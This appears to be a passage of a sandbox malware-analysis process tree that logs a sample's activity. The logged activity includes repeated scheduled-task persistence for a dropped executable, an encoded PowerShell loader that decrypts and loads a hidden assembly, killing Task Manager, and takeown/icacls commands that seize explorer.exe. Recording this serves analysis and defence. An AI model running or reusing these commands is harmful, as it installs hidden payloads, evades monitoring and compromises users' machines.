        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\Vomp8ZZovFCG.bat" "
        11⤵
        
        PID:2756
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        12⤵
        
        PID:3768
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        12⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3180
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        12⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2488
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        13⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2180
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\XSqe5tZaN2VL.bat" "
        13⤵
        
        PID:1492
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        14⤵
        
        PID:2632
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        14⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3912
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        14⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3740
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        15⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:828
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\tHC04AK5F7q5.bat" "
        15⤵
        
        PID:1664
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        16⤵
        
        PID:2744
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        16⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3524
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        16⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3852
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        17⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3204
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\uCF9IHsgTcwn.bat" "
        17⤵
        
        PID:564
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        18⤵
        
        PID:1016
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        18⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2256
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        18⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2876
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        19⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3092
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\ZPcdF97PrX7C.bat" "
        19⤵
        
        PID:1832
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        20⤵
        
        PID:1492
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        20⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1928
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        20⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2132
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        21⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3960
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\p8EUbzkVUQF9.bat" "
        21⤵
        
        PID:3276
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        22⤵
        
        PID:2636
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        22⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1984
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        22⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3764
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        23⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1592
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\Tb5s6tXxnLVs.bat" "
        23⤵
        
        PID:108
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        24⤵
        
        PID:2972
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        24⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3744
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        24⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3132
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        25⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2460
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\YVFXdxSYDMqb.bat" "
        25⤵
        
        PID:3992
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        26⤵
        
        PID:2696
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        26⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2524
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        26⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1928
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        27⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3856
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\KNSjvyeR2XYd.bat" "
        27⤵
        
        PID:2640
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        28⤵
        
        PID:3488
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        28⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1532
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        28⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2456
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        29⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2636
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\wC4zfBhS79S2.bat" "
        29⤵
        
        PID:3608
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        30⤵
        
        PID:2064
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        30⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3908
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        30⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1664
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        31⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2932
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\LBm2uIQUkDrv.bat" "
        31⤵
        
        PID:1312
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        32⤵
        
        PID:2636
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        32⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:804
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        32⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3956
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        33⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2680
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\dwm0tlE19OLn.bat" "
        33⤵
        
        PID:4048
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        34⤵
        
        PID:2956
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        34⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3968
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        34⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3992
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        35⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2444
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\KYDakgXKQsPA.bat" "
        35⤵
        
        PID:3896
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        36⤵
        
        PID:2828
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        36⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3976
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        36⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2972
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        37⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2828
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\IND7Y5JF7wIY.bat" "
        37⤵
        
        PID:3608
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        38⤵
        
        PID:2860
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        38⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4012
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        38⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1680
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        39⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1048
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\5OjnYTZ7o79c.bat" "
        39⤵
        
        PID:3524
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        40⤵
        
        PID:2428
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        40⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3432
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        40⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2996
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        41⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3660
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\aqCgKym0LXG5.bat" "
        41⤵
        
        PID:1532
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        42⤵
        
        PID:3144
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        42⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1036
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        42⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:608
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        43⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:804
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\f06Gn5eC1Brv.bat" "
        43⤵
        
        PID:1008
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        44⤵
        
        PID:2240
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        44⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4048
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        44⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:588
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        45⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3952
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\qhGlCNbiLAzL.bat" "
        45⤵
        
        PID:1960
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        46⤵
        
        PID:768
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        46⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2700
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        46⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2460
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        47⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3604
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\Rm3GuhTFe8AB.bat" "
        47⤵
        
        PID:3216
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        48⤵
        
        PID:2480
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        48⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1592
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        48⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1944
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        49⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2316
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\F1YDyICwwSUj.bat" "
        49⤵
        
        PID:3732
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        50⤵
        
        PID:2328
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        50⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3744
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        50⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3520
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        51⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2180
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\jNxXjsSBQ5cY.bat" "
        51⤵
        
        PID:3476
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        52⤵
        
        PID:4092
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        52⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2968
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        52⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3332
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        53⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2236
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\nSw1CyGLnVDK.bat" "
        53⤵
        
        PID:2328
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        54⤵
        
        PID:3668
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        54⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1616
        
        C:\Program Files\SubDir\Romilyaa.exe
        
        "C:\Program Files\SubDir\Romilyaa.exe"
        54⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2304
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
        55⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3624
        
        C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\q44H0lyWw0QT.bat" "
        55⤵
        
        PID:3540
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        56⤵
        
        PID:3524
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        56⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1728
- - C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\the.exe
    the.exe
    3⤵
    - Executes dropped EXE
    PID:3624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEQAOAAsACAAMAB4ADIARgAsACAAMAB4ADEARgAsACAAMAB4ADYAQwAsACAAMAB4ADQARQAsACAAMAB4ADgAOAAsACAAMAB4ADQANQAsACAAMAB4AEQARAAsACAAMAB4ADEAQQAsACAAMAB4AEUARAAsACAAMAB4ADUAQwAsACAAMAB4ADQAQgAsACAAMAB4ADQAOQAsACAAMAB4ADQAOQAsACAAMAB4ADAAQwAsACAAMAB4ADMAQgAsACAAMAB4AEYAQQAsACAAMAB4AEEAMQAsACAAMAB4ADIANwAsACAAMAB4ADMARAAsACAAMAB4ADIAQQAsACAAMAB4AEIANQAsACAAMAB4AEMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARAAsACAAMAB4ADAAQQAsACAAMAB4ADUAOQAsACAAMAB4ADUANwAsACAAMAB4AEMAQQAsACAAMAB4ADcAMAAsACAAMAB4AEEAQQAsACAAMAB4AEMAQgApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAxAEMALAAgADAAeABBADMALAAgADAAeAAzADQALAAgADAAeABBADYALAAgADAAeAA4ADQALAAgADAAeABDAEMALAAgADAAeABBAEEALAAgADAAeABEADIALAAgADAAeABCADAALAAgADAAeABFAEUALAAgADAAeABBAEMALAAgADAAeABEADcALAAgADAAeABFAEIALAAgADAAeABGAEUALAAgADAAeAA4AEYALAAgADAAeAA5ADkAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1396
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3576
- - C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\wimloader.dll
    wimloader.dll
    3⤵
    - Executes dropped EXE
    PID:3652
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\wimloader_4ce1c4ff-9c8c-4ab3-a61a-2705eecaf7db\caller.cmd" "
      4⤵
      PID:2932
- - C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\ac3.exe
    ac3.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: GetForegroundWindowSpam
    PID:2016
- - C:\Windows\SysWOW64\notepad.exe
    "C:\Windows\System32\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\vir_9db2ba7a-b7d6-4d63-90c2-9d92743f589c\shell1.ps1"
    3⤵
    PID:2628
- - C:\Windows\SysWOW64\PING.EXE
    ping trustsentry.com -t -n 1 -s 4 -4
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1768
- - C:\Windows\SysWOW64\PING.EXE
    ping ya.ru -t -n 1 -s 4 -4
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3616
- - C:\Windows\SysWOW64\PING.EXE
    ping tria.ge -t -n 1 -s 4 -4
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3652
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy bloatware C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:1360
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy beastify.url C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:1028
- - C:\Windows\SysWOW64\xcopy.exe
    xcopy shell1.ps1 C:\Users\Admin\Desktop
    3⤵
    - Enumerates system info in registry
    PID:3012
- - C:\Windows\SysWOW64\takeown.exe
    takeown /R /F C:\Windows\explorer.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3960
- - C:\Windows\SysWOW64\icacls.exe
    icacls c:\Windows\explorer.exe /grant Admin:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3204
